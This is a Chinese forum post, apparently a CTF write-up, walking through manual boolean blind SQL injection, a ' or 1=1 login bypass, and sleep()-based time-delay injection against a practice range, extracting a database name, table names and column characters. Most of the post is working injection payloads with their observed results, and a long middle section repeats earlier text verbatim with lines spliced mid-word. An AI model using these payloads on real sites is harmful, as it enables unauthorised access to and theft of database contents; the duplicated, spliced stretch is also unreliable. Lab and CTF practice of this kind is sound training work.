论坛首页 > CTF&WP专版

盲注和延时注入题解之手工做题

weidong · 发表于 2020-01-27 17:29:47 · CTF&WP专版

盲注靶场 用到ascii码表
and 1=1 有数据 
and 1=2 没有数据
猜解数据库长度 数据库长度是12
and length(database())>11 -- qwe 有数据
and length(database())>12 -- qwe 没有数据
and length(database())=12 -- qwe 有数据说明数据库长度是12
用ascii码截取数据库的值
and ascii(substr(database(),1,1))>106 有数据
and ascii(substr(database(),1,1))=107 有数据 值就是107
截取数据库的第二个值 把1,1 改成2,1查询第二个值，以此类推查询下一个的值。如手工麻烦就用BUEP跑
and ascii(substr(database(),2,1))>96 有数据 
and ascii(substr(database(),2,1))=97 有数据 值就是97
跑出的数据是
107
97
110
119
111
108
111
110
103
120
105
97
对ascii码表后的库名是kanwolongxia
猜解表名和猜库名一样
and ascii(substr((select table_name from information_schema.tables where table_schema='kanwolongxia' limit 0,1),1,1))>107 -- qwe 有数据
大于107小于108就是等于108 语句执行后有数据
and ascii(substr((select table_name frm information_schema.tables where table_schema='kanwolongxia' limit 0,1),1,1))=108 -- qwe 有数据
猜解表名的第二个值 把1,1 改成2,1查询第二个值 以此类推查询下一个的值这样就能查询到第一张表
and ascii(substr((select table_name from information_schema.tables where table_schema='kanwolongxia' limit 0,1),2,1))>111 -- qwe 没有数据
and ascii(substr((select table_name from information_schema.tables where table_schema='kanwolongxia' limit 0,1),2,1))=111 -- qwe 有数据
猜解第三个值
and ascii(substr((select table_name from information_schema.tables where table_schema='kanwolongxia' limit 0,1),3,1))=102 -- qwe
第四个值
 and ascii(substr((select table_name from information_schema.tables where table_schema='kanwolongxia' limit 0,1),4,1))=108-- qwe
第五个值
and ascii(substr((select table_name from information_schema.tables where table_schema='kanwolongxia' limit 0,1),5,1))=97-- qwe
第六个值
and ascii(substr((select table_name from information_schema.tables where table_schema='kanwolongxia' limit 0,1),6,1))=103-- qwe
第七个值没有，得到的数据就是loflag
查询第二张表 得到的数据就是news 
and ascii(substr((select table_name from information_schema.tables where table_schema='kanwolongxia' limit 1,1),1,1))=110 -- qwe
and ascii(substr((select table_name from information_schema.tables where table_schema='kanwolongxia' limit 1,1),2,1))=101-- qwe
and ascii(substr((select table_name from information_schema.tables where table_schema='kanwolongxia' limit 1,1),3,1))=119-- qwe
and ascii(substr((select table_name from information_schema.tables where table_schema='kanwolongxia' limit 1,1),4,1))=115-- qwe
查询字段
and ascii(substr((select column_name from information_schema.columns where table_name='loflag' limit 1,1),1,1))=102 -- qwe
and ascii(substr((select column_name from information_schema.columns where table_name='loflag' limit 1,1),2,1))=108 -- qwe
and ascii(substr((select column_name from information_schema.columns where table_name='loflag' limit 1,1),3,1))=97-- qwe
这样查询下去 因盲注真的很麻烦建议用sqlmap跑
盲注第二题的区别是多了个"号
" and ascii(substr((select table_name from information_schema.tables where table_schema='kanwolongxia' limit 0,1),1,1))>107 -- qwe
第三题做法用万能密码加sql语句注入
有登录框，使用万能密码注入
猜解数据库长度 数据库长度是12
' or 1=1 and length(database())>11 -- qwe 有登录成功
' or 1=1 and length(database())>12 -- qwe 没有登录成功
' or 1=1 and length(database())=12 -- qwe 有登录成功证明数据库字段有12个的长度
用ascii码截取数据库的值
' or 1=1 and ascii(substr(database(),1,1))>106 -- qwe 有登录成功
' or 1=1 and ascii(substr(database(),1,1))>107 -- qwe 没有登录成功
' or 1=1 and ascii(substr(database(),1,1))=107 -- qwe 有登录成功
这and ascii(substr((select table_name frm information_schema.tables where table_schema='kanwolongxia' limit 0,1),1,1))=108 -- qwe 有数据
猜解表名的第二个值 把1,1 改成2,1查询第二个值 以此类推查询下一个的值这样就能查询到第一张表
and ascii(substr((select table_name from information_schema.tables where table_schema='kanwolongxia' limit 0,1),2,1))>111 -- qwe 没有数据
and ascii(substr((select table_name from information_schema.tables where table_schema='kanwolongxia' limit 0,1),2,1))=111 -- qwe 有数据
猜解第三个值
and ascii(substr((select table_name from information_schema.tables where table_schema='kanwolongxia' limit 0,1),3,1))=102 -- qwe
第四个值
 and ascii(substr((select table_name from information_schema.tables where table_schema='kanwolongxia' limit 0,1),4,1))=108-- qwe
第五个值
and ascii(substr((select table_name from information_schema.tables where table_schema='kanwolongxia' limit 0,1),5,1))=97-- qwe
第六个值
and ascii(substr((select table_name from information_schema.tables where table_schema='kanwolongxia' limit 0,1),6,1))=103-- qwe
第七个值没有，得到的数据就是loflag
查询第二张表 得到的数据就是news 
and ascii(substr((select table_name from information_schema.tables where table_schema='kanwolongxia' limit 1,1),1,1))=110 -- qwe
and ascii(substr((select table_name from information_schema.tables where table_schema='kanwolongxia' limit 1,1),2,1))=101-- qwe
and ascii(substr((select table_name from information_schema.tables where table_schema='kanwolongxia' limit 1,1),3,1))=119-- qwe
and ascii(substr((select table_name from information_schema.tables where table_schema='kanwolongxia' limit 1,1),4,1))=115-- qwe
查询字段
and ascii(substr((select column_name from information_schema.columns where table_name='loflag' limit 1,1),1,1))=102 -- qwe
and ascii(substr((select column_name from information_schema.columns where table_name='loflag' limit 1,1),2,1))=108 -- qwe
and ascii(substr((select column_name from information_schema.columns where table_name='loflag' limit 1,1),3,1))=97-- qwe
这样查询下去 因盲注真的很麻烦建议用sqlmap跑
盲注第二题的区别是多了个"号
" and ascii(substr((select table_name from information_schema.tables where table_schema='kanwolongxia' limit 0,1),1,1))>107 -- qwe
第三题做法用万能密码加sql语句注入
有登录框，使用万能密码注入
猜解数据库长度 数据库长度是12
' or 1=1 and length(database())>11 -- qwe 有登录成功
' or 1=1 and length(database())>12 -- qwe 没有登录成功
' or 1=1 and length(database())=12 -- qwe 有登录成功证明数据库字段有12个的长度
用ascii码截取数据库的值
' or 1=1 and ascii(substr(database(),1,1))>106 -- qwe 有登录成功
' or 1=1 and ascii(substr(database(),1,1))>107 -- qwe 没有登录成功
' or 1=1 and ascii(substr(database(),1,1))=107 -- qwe 有登录成功
这里就不再多写了，后续做法和第一题盲注做法一样
延时注入和盲注一样做法只不过加了个 and sleep()
延时第一题是加双引号闭合（ " ）
延时第二题是加单引号和括号闭合( ') )
进入靶场发现双引号和闭合注释为?id=1" -- qwe 有延时就存在注入

猜解数据库长度 
" and length(database())>11 and sleep(5) -- qwe 延时
" and length(database())>12 and sleep(5) -- qwe 不延时
" and length(database())=12 and sleep(5) -- qwe 延时
数据库长度是12
用ascii码截取数据库的值
?id=1" and ascii(substr(database(),1,1))>106 and sleep(5) -- qwe 延时
1" and ascii(substr(database(),1,1))>107 and sleep(5) -- qwe 不延时
?id=1" and ascii(substr(database(),1,1))=107 and sleep(5) -- qwe 延时
截取数据库的第二个值 把1,1 改成2,1查询第二个值，以此类推查询下一个的值。
1" and ascii(substr(database(),2,1))>96 and sleep(5) -- qwe 延时
1" and ascii(substr(database(),2,1))>97 and sleep(5) -- qwe 不延时
1" and ascii(substr(database(),2,1))=97 and sleep(5) -- qwe 延时里就不再多写了，后续做法和第一题盲注做法一样

打赏我,让我更有动力~

1 条回复 | 直到 2020-3-20 | 1742 次浏览

alberthao
发表于 2020-3-20

burp 跑，好思路。还打算用纯手工呢，一想就害怕。哈哈

评论列表

加载数据中...

编写评论内容

登录后才可发表内容

盲注和延时注入题解之手工做题

评论列表 默认排序 默认排序 最新回复

评论列表